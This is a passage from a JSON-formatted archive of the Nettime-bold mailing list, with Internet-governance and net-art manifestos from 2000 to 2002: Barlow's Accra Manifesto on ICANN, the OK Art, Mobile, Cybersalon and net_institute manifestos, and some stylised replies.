1. It appears to us that ICANN has so far failed to generate the\n moral authority necessary to govern an environment where authority\n must be based on the general respect of the governed rather than its\n ability to impose solutions by fiat.\n\n 2. It has failed for a variety of reasons. Chief among these are its\n impulse to adapt existing and mechanical models of government to a\n social space that cannot easily be coerced into submission. It\n attempts to impose government instead of proposing governance.\n\n 3. ICANN is overly centralized and, by virtue of its incorporation in\n the United States and its practical dependency on American\n contractors, perpetuates the dangerous belief that the Internet is an\n American environment. We believe that root should not be based in the\n U.S.\n\n 4. ICANN was established in a gray area of institutional reality that\n makes it nearly invulnerable to legal or political rebuke. If ICANN\n were a function of the U.S. Government, at least it could be brought\n into court and held accountable for unconstitutional behavior. The\n current structure provides almost no opportunity for redress in the\n area of domain names and none at all in the area of domain numbering.\n It's power is vast and growing. Its accountability is small and\n shrinking.\n\n 5. By abandoning the simple and fair system of \"1st come, 1st served\"\n domain name allocation that served the Internet well from the\n beginning, ICANN has created a quagmire of unnecessary disputes and\n suppressed expression, and has irrationally conflated trademark law\n with domain assignment.\n\n 6. Efforts to turn Cyberspace into a traditional democracy, however\n laudable in principle, may never work well in a social space where it\n is extremely difficult to define either the electorate or a credible\n system whereby the people might express their will. Nonetheless,\n public representation on the board is so important that we can't\n afford to give up on it. It would be well to remember that democracy\n is more than a mechanical process of providing that every single\n member of a constituency has a say. Rather it is a system of\n governance that seeks the consent of the governed, however that\n assent is conveyed. To assure that ICANN is democratic in this sense,\n there must be a low entry barrier to unofficial involvement its\n decision-making processes, and, possibly, a decentralized, community\n based system for selecting \"at large\" board members.\n\n 7. The current proposal before ICANN would fix this problem by\n inserting existing nation states into a space where they have no\n natural sovereignty. While this might, at first pass, lend the\n popular accountability of governments to its processes, it's likely\n to result in a system as ineffectual as the ITU or the United\n Nations. Further, given the wave of negative reaction to the Lynn\n proposal, its adoption would likely further reduce ICANN's\n credibility.\n\n 8. ICANN, by its cumbersome deliberative processes, already slows the\n adoption of new technology and might prevent the timely alteration of\n the technical underpinnings of the Internet in the event of an\n impending collapse of the system. The addition of even more ponderous\n governments to the stew of authority would only exacerbate the\n potential for failure.\n\n 9. The current structure of the root servers, as documented in the\n MDR meeting, has the servers distributed between government,\n commercial, academic, and non-profit organizations distributed around\n the world.  Such a structure is highly resistant to capture and leads\n to the robustness and diversity of the Internet.  One possible\n outcome of the Lynn proposal is that the root servers are\n contractually bound to a single organization.  This inherently is\n less stable and more susceptible to capture than the current\n structure which should be protected as a fundamental architectural\n principle.\n\n 10. The best way to assure inclusion is to derive systems that are\n easy for those governed to understand. ICANN is already too complex\n in its practices to admit informed participation. The Lynn proposal\n would only add to this complexity.\n\n 11. The IETF once provided a good model for governing processes that\n are well-suited to Cyberspace. It was a system for governance by\n ideas, rather than by people, laws, or \"stake-holders,\" in that the\n most elegant solutions were adopted by the consensus of a\n self-defining community, regardless of the standing of those who\n proposed them. That the IETF has become less successful in solving\n problems results less from a flaw in this model than its having been\n high-jacked by corporate interests. ICANN, in its original design and\n current state, ignores the value of these proven approaches.\n\n 12. To address these failures, we propose that ICANN decentralize and\n convey operational authority to the communities that naturally define\n themselves around the top-level domains, restricting its duties to\n the resolution of disputes that cannot be resolved within the\n communities. In other words, we believe that ICANN should become a\n loose confederation of autonomous domains, rather like the federal\n government of the United States during Jefferson's time.\n\n 13. Prior to delegating its operational functions to the domains, we\n believe that ICANN might demonstrate its understanding of these\n principles by defining at least two new public domains. Among these\n we suggest .lib (for libraries) and .pub (for entities, whether\n organizations or individuals, working for the common good). It is our\n belief that the systems of self-governance such communities are\n likely to develop might serve to instruct other domains in the\n ordering of their own affairs.\n\n 14. One of the areas where existing systems of government have\n worked, to varying degrees of effectiveness, has been in conveying\n and preserving such human rights as free expression and protection\n from unchecked corporate self-interest. ICANN might have a continued\n role in directing itself to the assurance of such rights in\n Cyberspace. A reformed ICANN might also propose broad policies and\n technical solutions, but would do so as respected leaders and not as\n a junta.\n\n 15. The previously existing systems for governance in Cyberspace have\n shown the practical efficiency of fixing only that which is broken.\n This is a principle ICANN would do well to emulate.\n\n Cyberspace is not a place. It is a dialog of cultures. We believe\n that if ICANN were to adopt the above principles, it might, through\n light-handed arbitration of real, rather than projected, problems,\n acquire the moral authority that has so far evaded it. We fear that\n if it fails to consider the concerns that have driven us to make this\n declaration, it will find itself in the unenviable position of trying\n to impose its will on a global community with neither a mandate nor\n force of arms. At best, it will become irrelevant as the citizens of\n Cyberspace develop methods to work around it. At worst, it will be\n directly dangerous to the health of the Internet. The chaos that\n might follow either development will not serve our descendents well.\n\n While many of the undersigned do not accept every single one of the\n above statements, we are in sufficient agreement with the spirit of\n this statement that we hereby attach our names and hope that the\n governing board of ICANN will make a sincere effort to incorporate\n its beliefs and adopt its recommendations.\n\n John Perry Barlow <barlow@eff.org , Co-Founder & Vice Chairman,\n Electronic Frontier Foundation\n\n --\n John Perry Barlow, Cognitive Dissident\n Co-Founder & Vice Chairman, Electronic Frontier Foundation\n Berkman Fellow, Harvard Law School\n\n Home(stead) Page: http://www.eff.org/~barlow\n\n Call me anywhere, anytime: 800/654-4322\n\n Fax me anywhere, anytime:  603/215-1529\n\n Current Cell Phone: 646/286-8176 (GSM)\n \n Alternative (Inactive) Cell Phone: 917/863-2037 (AT&T)\n\n **************************************************************\n\n Barlow in Meatspace Now: Accra, Ghana  Labadi Beach Hotel +233 (0)21\n 773110\n\n (Provisional) Trajectory from Here: New York City 3/16-22 -  Boulder,\n Colorado (3/23-25) -  Crested Butte, CO (3/25-28) -  Telluride, CO\n (3/28-4/2) -  New York City...\n\n **************************************************************\n\n ...They had preserved a  knowledge that was lost to us by our first\n parents; Africa, amongst the continents, will teach it to you: that\n God and the Devil are one, the majesty co-eternal, not two uncreated\n but one uncreated, and the Natives neither confounded the persons nor\n divided the substance.\n\n  -- Isak Dinesen, Out of Africa\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "id": "00522",
                "date": "Thu, 21 Mar 2002 22:01:49 +1100",
                "to": "nettime-l <nettime-l@bbs.thing.net>",
                "message-id": "03ea01c1d0d0$0d64f660$96de3dca@geert",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0203/msg00522.html",
                "list": "nettime_bold",
                "author_name": "geert",
                "subject": "[Nettime-bold] John-Perry Barlow: The Accra Manifesto"
            },
            {
                "content-type": "text/plai",
                "from": "Rafael Lozano-Hemmer <rafael@lozano-hemmer.com>",
                "content": "OK ART Manifesto\nby Susie Ramsay and Rafael Lozano-Hemmer\n\n1. \"OK art\" is an OK idea, --not great, but not bad either.\n\n2. OK artists make OK art.\n\n3. OK artists really want to make great art, they shoot for the \nstars, but their work ends up being just OK. OK artists are OK with \nthis.\n\n4. Art enthusiasts and cynics alike, leave an OK art exhibition \nsaying \"that was OK\". No one is blown away but they don't feel \ncheated either.\n\n5. OK art will probably not make it into art history; although \nsomeone in the future might find an OK artwork and think \"this isn't \nso bad.\"\n\n6. \"Different\" and \"interesting\" are two adjectives often overheard \nat OK art exhibitions.\n\n7. OK artists are OK with bad reviews, but naturally they prefer good \nreviews and they keep those and post them on the internet.\n\n8. It's a good idea to call yourself an OK artist before somebody else does.\n\n9. Ambitious, megalomaniac artists feel great relief when they accept \nthey're just OK.\n\n10. OK ideas are defended passionately but not more than that.\n\n11. (this point was erased during editing)\n\n12. OK art is unlikely to be over or underrated.\n\n13. We hate artists that are A-OK, those bastards!\n\n14. There is no point in making an OK art movement, although fleeting \nconsideration of the concept would be OK.\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "id": "00116",
                "date": "Sun, 6 May 2001 17:59:33 -0400",
                "to": "nettime-l@bbs.thing.net",
                "message-id": "a05010404b71b765febdc@[10.0.1.46]",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0105/msg00116.html",
                "list": "nettime_bold",
                "author_name": "Rafael Lozano-Hemmer",
                "subject": "[Nettime-bold] OK ART Manifesto"
            },
            {
                "content-type": "text/plai",
                "from": "ichard barbrook <richard@hrc.wmin.ac.uk>",
                "content": "MOBILE MANIFESTO\n\n\n1.0 Is WAP crap?\n\nEarly adopters can only access the pleasures of new technologies by\naccepting the pains of beta-testing the future.\n\n2.0 When will the hardware come up to speed?\n\nNet users assume that large screens, colourful icons, pop-down menus and\nall the other features of the PC interface should be available on mobiles\nwhich are small enough to fit into their pockets.\n\n3.0 Has my SIM card become my identity?\n\nEven if we forget what we did yesterday, our mobiles have recorded all\naspects of our daily lives: who we spoke with, what we bought and where we\nwere.\n\n4.0 What shall I broadcast tonight?\n\nWith the advent of 3G mobiles, everyone will carry a television transmitter\nin their pocket for video-conferencing with work colleagues, providing\nlive-feeds to the Net and swapping MPEG movies with their friends.\n\n5.0 Is your partner monitoring your visits to your lover?\n\nWhile we appreciate being able to find out where we are using the GPS\nfacilities on our mobile, we don't want other people knowing where we are\nwithout us telling them first.\n\n6.0 How did I ever leave home without one?\n\nWherever we go, we are carrying our own intimate world of friends,\ncolleagues and contacts inside the screens of our mobiles.\n\n7.0 Who said that text was dead?\n\nThe popularity of SMS disproves McLuhan's prediction that reading and\nwriting would disappear once we could easily communicate with each other\nusing audio-visual media.\n\n8.0 Will we ever develop manners for mobiles?\n\nThe happiness of hearing from an absent friend means ignoring your best\nmate who is sitting right next to you.\n\n9.0 Is my mobile acting as a double-agent?\n\nBy becoming my easy-to-use gateway for on-line banking, m-commerce and\nsocialising, my mobile is surreptitiously revealing information about my\nfinances, shopping habits and lifestyle choices to outside forces, such as\nlaw enforcement agencies and market researchers.\n\n10.0 Are we frying our brains instead of polluting our lungs?\n\nFor today's young people, the first sign of maturity is ignoring the danger\nof radiation from mobiles rather than disregarding the risk of getting\ncancer from cigarettes.\n\n\nAndrew Purdy\nArmin Medosch\nMark Fitzpatrick\nNiki Gomez\nRichard Barbrook\nRobin Hamman\nSophia Drakopoulou\n\n7th November 2000\n\n<www.cybersalon.org>\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "id": "00153",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0011/msg00153.html",
                "to": "NETTIME-L@BBS.THING.NE",
                "message-id": "l03130300b62f5ffdd8b0@[194.128.81.189]",
                "date": "Wed, 8 Nov 2000 19:55:48 +0000",
                "list": "nettime_bold",
                "author_name": "richard barbrook",
                "subject": "[Nettime-bold] MOBILE MANIFESTO"
            },
            {
                "id": "00168",
                "content": "to the slaves of socalled mobility:\n\nit is rumoured that there are people who still don't have a mobile phone\nand who survive modern life nevertheless. i tell you, folks: it can be\ndone.\n\nlong live the privilege of a-synchronicity and unavailability.\n\n-a\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "to": "nettime-l@bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0011/msg00168.html",
                "list": "nettime_bold",
                "author_name": "Andreas Broeckmann",
                "subject": "[Nettime-bold] Re: <nettime> MOBILE MANIFESTO",
                "from": "Andreas Broeckmann <abroeck@v2.nl>",
                "follow-up": [
                    {
                        "from": "cisler <cisler@pobox.com>",
                        "content": "\n> From: Andreas Broeckmann <abroeck@v2.nl>\n> Reply-To: Andreas Broeckmann <abroeck@v2.nl>\n> Date: Thu, 9 Nov 2000 08:55:15 +0200\n> To: nettime-l@bbs.thing.net\n> Subject: Re: <nettime> MOBILE MANIFESTO\n> \n> to the slaves of socalled mobility:\n> \n> it is rumoured that there are people who still don't have a mobile phone\n> and who survive modern life nevertheless. i tell you, folks: it can be\n> done.\n> \n> long live the privilege of a-synchronicity and unavailability.\n\nYears ago (1995 r 1996) Bob Lucky, head  of ATT Labs said, \"I want to be\nable to call anyone, but I don't want anyone to have my number.\"\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                        "id": "00184",
                        "date": "Thu, 09 Nov 2000 09:59:11 -0800",
                        "to": "Andreas Broeckmann <abroeck@v2.nl>, nettime <NETTIME-L@bbs.thing.net>",
                        "message-id": "B63025EF.3A75%cisler@pobox.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0011/msg00184.html",
                        "content-type": "text/plai",
                        "author_name": "cisler",
                        "subject": "[Nettime-bold] Re: <nettime> MOBILE MANIFESTO"
                    },
                    {
                        "from": "\"cisler\" <cisler@pobox.com>",
                        "content": "> From: Andreas Broeckmann <abroeck@v2.nl>\n> Reply-To: Andreas Broeckmann <abroeck@v2.nl>\n> Date: Thu, 9 Nov 2000 08:55:15 +0200\n> To: nettime-l@bbs.thing.net\n> Subject: Re: <nettime> MOBILE MANIFESTO\n> \n> to the slaves of socalled mobility:\n> \n> it is rumoured that there are people who still don't have a mobile phone\n> and who survive modern life nevertheless. i tell you, folks: it can be\n> done.\n> \n> long live the privilege of a-synchronicity and unavailability.\n\nYears ago (1995 r 1996) Bob Lucky, head  of ATT Labs said, \"I want to be\nable to call anyone, but I don't want anyone to have my number.\"\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo@bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime@bbs.thing.net\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                        "id": "00341",
                        "date": "Thu, 9 Nov 2000 17:59:11 -0000",
                        "to": "\"nettime\" <NETTIME-L@bbs.thing.net>",
                        "message-id": "E13vn08&#45;00021o&#45;00@athena.office.vi.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0011/msg00341.html",
                        "content-type": "text/plai",
                        "author_name": "cisler",
                        "subject": "[Nettime-bold] Re: <nettime> MOBILE MANIFESTO"
                    }
                ],
                "message-id": "l03102826b62ff9ca9855@[213.61.119.197]",
                "date": "Thu, 9 Nov 2000 08:55:15 +0200",
                "content-type": "text/plai"
            },
            {
                "id": "00170",
                "content": "\n>to the slaves of socalled mobility:\n>\n>it is rumoured that there are people who still don't have a mobile phone\n\nnn != hav 01 mob!l fn.\n= 01 mob!l bod! hav\n\n\n\n>and who survive modern life nevertheless. i tell you, folks: it can be\n>done.\n>\n>long live the privilege of a-synchronicity and unavailability.\n>\n>-a\n\n\n\n\n\n                romant!z!zm = 01 kolon!al d!zeaze\n\n\n\n\n\n\nvr!endel!jk.nn\n\n\n\n\n\n\n\n\n\n\n                                           pre.konssept!\ufffdn  \n                                                 meeTz ver!f1kat!\ufffdn.     \n \n \n \n -\n \n Netochka Nezvanova    -  fearful symmetry :: biological geometry :: civilized error\n \u0010f\u0010\u0010\u00103.MASCHIN3NKUNST\n @www.eusocial.com\n 17.hzV.tRL.478\n                                                     e\n                                                     |\n                                                      |  +----------\n                                                     |  |     <   \n                                    \\\\----------------+  |  n2t^P      \n                                                        |       >\n                                                        e\n \n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "to": "abroeck@v2.nl, nettime-l@bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0011/msg00170.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] Re:  MOBILE MANIFESTO",
                "from": "integer@www.god-emil.dk",
                "follow-up": [
                    {
                        "from": "Andreas Broeckmann <abroeck@transmediale.de>",
                        "content": "> nn != hav 01 mob!l fn.\n> = 01 mob!l bod! hav\n> \n> >long live the privilege of a-synchronicity and unavailability.\n> \n>                 romant!z!zm = 01 kolon!al d!zeaze\n\ni prefer this romanticism to\n\nMOBILE MANIFESTED\n\nlate-capitalist self-pity.\n\n\ngruss,\n-a\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                        "id": "00174",
                        "date": "Thu, 09 Nov 2000 12:19:12 +0100 (CET)",
                        "to": "integer@www.god-emil.dk",
                        "message-id": "973768752.3a0a883088bed@webmail.in&#45;berlin.",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0011/msg00174.html",
                        "content-type": "text/plai",
                        "author_name": "Andreas Broeckmann",
                        "subject": "[Nettime-bold] Re:  MOBILE MANIFESTO"
                    }
                ],
                "message-id": "200011090821.JAA13181@www.god&#45;emil.dk",
                "date": "Thu, 9 Nov 2000 09:21:39 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
                "content": "\n>> to the slaves of socalled mobility:\n>> \n>> it is rumoured that there are people who still don't have a mobile phone\n>> and who survive modern life nevertheless. i tell you, folks: it can be\n>> done.\n>> \n>> long live the privilege of a-synchronicity and unavailability.\n>\n>Years ago (1995 r 1996) Bob Lucky, head  of ATT Labs said, \"I want to be\n>able to call anyone, but I don't want anyone to have my number.\"\n\n\nATT Labs != ver! !ntel!gent and \\ or luk!.\n\nYears ago (1995 r 1996) Bob Lucky != luk! 2 telefon cccelf\n\n\narogantl!.nn\n\n\n\n\n\n\n\n\n                                           pre.konssept!\ufffdn  \n                                                 meeTz ver!f1kat!\ufffdn.     \n \n \n \n -\n \n Netochka Nezvanova    -  there is no denying NN's genius. but denying yours - there is.\n \u0010f\u0010\u0010\u00103.MASCHIN3NKUNST\n @www.eusocial.com\n 17.hzV.tRL.478\n                                                     e\n                                                     |\n                                                      |  +----------\n                                                     |  |     <   \n                                    \\\\----------------+  |  n2t^P      \n                                                        |       >\n                                                        e\n \n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "id": "00185",
                "date": "Thu, 9 Nov 2000 19:24:25 +0100",
                "to": "nettime-l@bbs.thing.net, cisler@pobox.com, abroeck@v2.nl",
                "message-id": "200011091824.TAA32594@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0011/msg00185.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] <nettime> MOBILE MANIFESTO"
            },
            {
                "content-type": "text/plai",
                "from": "ichard barbrook <richard@hrc.wmin.ac.uk>",
                "content": "Manage Your Own Medium\n\n1.0 Genesis.\n\nIn March 1960 J.C.R. Licklider envisioned a network of computers connected\ntogether where human and machine would work together in intimate\nassociation. He prophesised that this era would be intellectually the most\ncreative and exiting in the history of mankind. We are living in this time.\nOur group is a collective of people emerging from the human/computer\ninterface who are engaged in digital practices and theories. As artists,\npractitioners and academics we have joined together to create the\nCybersalon: live gatherings in the image of the new digital medium of the\nNet.\n\n2.0 The medium is no longer the message, we formulate the medium to convey\nour own message.\n\nCreating in pixels underpins the use of the computer both as a tool and as\na communicating device. These two characteristics have completed their\nintegration in the Net. Within new media, the creative process is made and\ndistributed in bits and pixels. The exchanging, sharing and manipulating\ninformation is an integral part of our work. Our networked computers are\nthe devices of creativity and of communication. Our message is intended for\na pixel-generated screen mediating the relationship of humans and\ncomputers.\n\n3.0 Enjoy the schism.\n\nOur visual culture has been formulated by an analogue world whose\ntraditions have been uneasily carried on into the digital format. We are\nstill confined by the look, design, fashions and aesthetics of the old\nmedia. Our practices and theories must now be changed for the time of the\nNet. The schism between old and new media is caused by the passivity of the\nfirst and the interactivity of the second. The medium that carries our\nmessage conveys an active and intimate association with its users. New\nmedia exist only in digital format: identical copies can be shared between\nmakers and receivers. We must now deliver in the same format that we create\nin.\n\n4.0 The original is obsolete.\n\nThe digital format assumes countless identical copies of the same work. The\ndo-and-undo command encourages non-linear approaches within the creative\nprocess. A digital work can be shared between its makers who can add and\ndelete parts. Visuals, sounds and machine code can be placed and accessed\nacross the Net. Whether we're multi-media constructors, web developers,\nprogrammers, theoreticians, digital artists, we all have to ask ourselves\nthese key questions: Whose idea was it anyway? Who inspired whom? Is the\nremix better than the original version? How can we contribute our\ncreativity to the collective digital work?\n\n5.0 We must meet up soon.\n\nNew media brings together people from a wide range of different practices.\nFor instance, when building a website, the computer programmer and the\ngraphic designer will each contribute their own particular skills to the\ncommon product. Within the creative process, each person possesses their\nown heterogeneous experience of the human/computer interface. Out of these\ndivided and layered practices, a collective aesthetic is emerging in the\nform of code and pixels.\n\n6.0 Cybersalon is a real-time environment.\n\nCybersalon is a real and virtual space where people involved in digital\ncreativity can congregate and meet with each other. If we want to discover\ninnovative practices and theories, it is essential for us to share and\ncommunicate our on-line experiences. Some short-sighted interests are\ntrying to inhibit the participatory nature of the Net. In contrast, we want\nto celebrate and promote the emancipatory and creative possibilities of the\nnew information technologies. We will organise discussions around the\nsocial and cultural issues brought out by the Net. We will exhibit\ncutting-edge digital work. We present the latest practices and theories\nemerging from the educational, commercial, community and artistic forms of\nnew media.\n\n7.0 Beyond hi-tech neo-liberalism\n\nWe are escaping from the most liberal times in the history of\ncommunications. After decades of globalisation, privatisation and\nderegulation, information became something which could only be bought and\nsold. Education, entertainment and political debates were read-only files.\nNow all these old certainties are being swept away. The Net is overcoming\nthe enforced passivity and cultural boundaries imposed by the old media.\nWhether as individuals or as groups, we now have the ability to create our\nown media with the new information technologies. We can enjoy the benefits\nof sharing knowledge, giving information, communicating our ideas and\nmaking friends within a place where time and space are undetermined. In\nthis new situation, we are forced to reconsider our practices and theories\nof cultural creativity. We must revisit the revolutionary legacy of the\npast. We must invent new ways of acting and thinking.\n\n8.0 Montage the medium\n\nLiving inside the human/computer interface is an integral part of everyday\nlife. As digital practitioners, we use our computer as a production tool\nand as a communications device. As mobile phone users, we each carry with\nour own personal transmitter. Although we don't own the landlines or\nairwaves, we are still able to give away our content to whoever wants to\ndownload it. We can collect and filter information from the Net to\ncustomise our own information. Neither political censors nor copyright\nenforcers have the power to control our freedom of expression. Across the\nglobe, individuals and groups can now enjoy the most libertarian\ninterpretation of media freedom. We are no longer limited to owning only\nreceivers of information. Each of us can now possess their own transmitter.\nEveryone can be an artist, a designer, a broadcaster and a theorist. Our\npixel-aided world is the integration of all known culture - and the\nemergence of entirely new practices and theories.\n\n\nSophia Drakopoulou\nRichard Barbrook\n3rd October 2000\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "id": "00131",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0010/msg00131.html",
                "to": "NETTIME-L@BBS.THING.NE",
                "message-id": "l03130302b6036be9618c@[194.128.81.189]",
                "date": "Fri, 6 Oct 2000 11:55:25 -0400",
                "list": "nettime_bold",
                "author_name": "richard barbrook",
                "subject": "[Nettime-bold] Cybersalon Manifesto"
            },
            {
                "content-type": "text/plai",
                "from": "net_institute_apparatus <net-i@zkm.de>",
                "content": "\n\tt h e   n 3 t _ ! n s t i t u t e   m 4 n i f e s t o\n\n\thttp://net-i.zkm.de\n\n\tmailto:net-i@zkm.de\n\n\n\n|| \n\nn e t _ i n s t i t u t i o n\n\nthe net_institute is not an institute devoted to new media but an\ninstitute_network that uses a net structure to deconstruct the\ntraditional power frames. the net_institute is a flat-hierarchy\nhorizontal institute aimed to bypass the old centralised media, i.e.\nthe institutions, and to set up bottom-up mass media. the net_institute\nbelieves that every institution is a consensual allucination.\n\n\n\n||\n\n a l e p h _ m a t r i x\n\nthe net_institute is a hybrid between the city and the net, the\nmetropolis and the mediascape, between a collective intelligence and an\ninstitutional apparatus. it is an example of the genetic mutations\ninduced by the implosive convergence of media, formats, genres into the\nnet's omnivorous matrix. at the same time the net_institute works as a\nmediatic icon, an institutional apparatus, a networked building, a\nhorizontal institute, a mailing list, an urban interface of the net, a\nnet interface of the landscape, a machine programm, a connective name.\nthe net_institute is a new bio_informational organism: its life task is\nto reproduce its meme by contaminating other organisms as faster as\npossible.\n\n\n\n|| \n\nl e a v i n g \n\n\n\nt h e\n\n\n\n\n\n n e t\n\nat the end of its pioneering period, the net is living its definitive\ncommodification and trasformation in the backbone of the new economy.\nthe cyberspace saga ends up in an on-line supermarket. past the\ncyberspace, the net_institute seeks a third space of action, the\nfriction point between netscape and landscape. for this reason the\nnet_institute goes out of the net, ejects the network out of the web,\ntries to create short-circuits with the territory, to establish a\npractice connected to net_culture in a contradictionary way. the\nnet_institute sets itself on the point of detonation between the cyber\nand the real world, on a hybrid topological dimension implementing the\ncommunication and immaginative power of the net straight into the real\nworld. the net_institute uses the net to outline future lands, to draw\nmaps that subvert the present territory, to project the territory itself\non the mediascape.\n\n\n\n|| \n\np r o _ i n s t i t u t i o n\n\nthe net_institute reveals the social simulation of content, normally\nprotected by institutional or antagonistic rethorics, and the power\nframes hidden in the art world and counterculture. at the same time as\nthe institutions are hosting subversive net_artists and cultural\nterrorists, the net_institute itsel becomes an institution. as the real\npower leaves the government buildings to move to faceless corporations,\nthe net_institute gets hold of abondoned simulacra, occupies the center\nof the territory, makes the power relationship visible again. since\npower no longer has a face, a center, a head, the net_institute turns\nthe net in a collective and organised intelligence. the net_institute\ndoes not live in the underwoods of the net.\n\n\n\n||\n\n\n\nn e t _ w o r k e d _ i n s t i t u t e\n\nthe net_institute is a building that embodies the deep frameworks of the\nnet and is made up of public and private environments, physical and\ncommunication spaces. it is a hybrid architecture capable to fit itself\ninto other architectures. it is a transversal, modular, unstable space\nthat can be constructed by anyone, a low_tech practice devised to hack\nthe architectural code and to revivify the urban space. the\nnet_institute is a mass medium building daily repopulating the city.\n\n\n\n||\n\n\n\nu r b a n _ i n t e r f a c e\n\nthe internet is a machine capable to overcode each aspect of social\nlife. standing up against the technoeuphoria, the net_institute thinks\nit is reactionary to look for the wonderful, the complex, the extreme on\nthe net only. the net_institute is an urban interface of the net_culture\nthat breaks with the dominant discourse about cyberscape, virtual\nreality, simulation. the net_institute is a physical, social, mediatic\nspace and it is not controlled and constructed on the net but through\nthe net. the net_institute is a creative interface for the conscious -\ntechnical and political - management of the networks and their mediatic\npower.\n\n\n\n|| \n\nh u m a n / m a c h i n e \n\n\n\ni n t e r f a c e\n\nthe net_institute builds human and urban networks in order to turn the\nnetworks' invasion into everyday life inside out. at the same rate as\nthe networks are rooting into social life and the computer is giving the\nhuman being its mind, the net_institute will root inside the network and\ngive the machine its mind. the human being is now reshaping itself after\nthe models of intelligent machines: the meta_design of the new\ntechnologies permeates the neural structure more than old ones, redraws\nits circuits and constructs new infrastructures for human behaviour. for\nthis reason the net_institute wants to de_cable the collective brain.\nthe net_institute device wants to make conscious again the behaviours\nmade automatic and unconsious by the widespread technology, by the\nsoftware easy automatism that are standardising taste and creativeness.\nthe net_institute wants to construct not user_friendly but\nbrain_friendly interfaces, wherein the friction with the diversity of\nmachine be the highest.\n\n\n\n||\n\n\n\ns o c i a l \n\n\n\n\n\no pe r a t i v e _ s y s t e m\n\noperative and the social systems are converging towards each other. the\noperative systems have been increasingly designed according to social\nmodels and metaphors, and are aimed to control the whole society. at the\nsame time, the term 'operative system' leaves the field of computer\nscience, in order to be used by the social system to describe itself.\nsuch a convergence allows us foresee scenarios of 'intelligent'\nnetworks, buildings, cities controlling any aspect of social life. the\nnet_institute sees itself as a social operative system aimed to control\nthe dominant operative system.\n\n\n\n|| \n\ni m m a t e r i a l _ a r c h i t e c t u r e\n\nthe net_institute is obsessed with the material and immaterial\narchitectures that continuously shape the collective behaviour and the\nunconscious: commercial and bureaucratic architectures, urbanistic\nplans, media embedded in the urban texture, computer networks,\ninformation fluxes. the post_industrial culture is dominated by\nimmaterial information architectures and by invisible comunication\nchannels, no longer by the heavyness of industrial economy, but the\nimmaterial yoke is as much heavy. the net_institute itself does not\nexpress but ghosts unconsciously sedimented in the brain of the masses\nand in social behaviours.\n\n\n\n|| \n\no p e n _ a r c h i t e c t u r e\n\nthe net_institute's network structure allows an open architeture which\nnew structures can be connected to at any moment. the net_institute is\nan autopoietic organism piloted by the networking of its nodes: each can\npropose a reorganisation of the whole net. as in a population of\nneurons, no one rules, but the brain works the same. in this case the\nbrain trigging neuronal impulses is the mailing list: better, the\nnet_institute is a mailing list, i.e. a collective narration. for the\nnet_institute anyone can build the basement, write the mission, develop\nthe departments, control the image, program the code. the net_institute\nis a connective name.\n\n\n\n|| \n\no p e n _ s o u r c e\n\nas a political groupware the net_institute is open_source, and it makes\nthe decision and organisation mechanism completely visible and\naccessible. the net_institute is a transparent multi-cellular organism\nwhose evolution can be observed through its mailing list and the iconic\ninterface of its structure. the net_institute doesn't follow a strategy\nof secret [though this statement is not demonstrable]. the net_institute\nis a freeware and open_source software, usable and modifiable for\nnon-commercial purposes.\n\n\n\n|| \n\nl o _ t e k\n\nsquashed between wired-style psychedelia, web-tv colonisation threats,\nvirtual reality middle-class neorealism and aesthetic spectrum\nsaturation, a space for action is left only for those who can devote\nthemselves to networking, minimalism, schematism, fast rates and\niconoclasm. the net_institute prefers the low_tech because this is the\nfastest format in the information highways and the collective imaginery,\nand because it is a code accessible and understandable to all. the\nhi_tech hides the content, makes it elitist, and works slower inside the\ncommunication channels. the low_tech is critical, iconoclastic, compact,\nmodular. the intelligence and imaginery that are being constructed are\nminimalistic, schematic, connective, modular and text_based.\n\n\n\n|| \n\nt e x t _ b a s e d\n\nthe low_tech is text_based. the net_institute represents neither the\nintellectual class nor mass culture. the net_institute uses the ASCII\ncharacters, better known as an american standard, as an universal code,\na tool to assault both the elitist and the 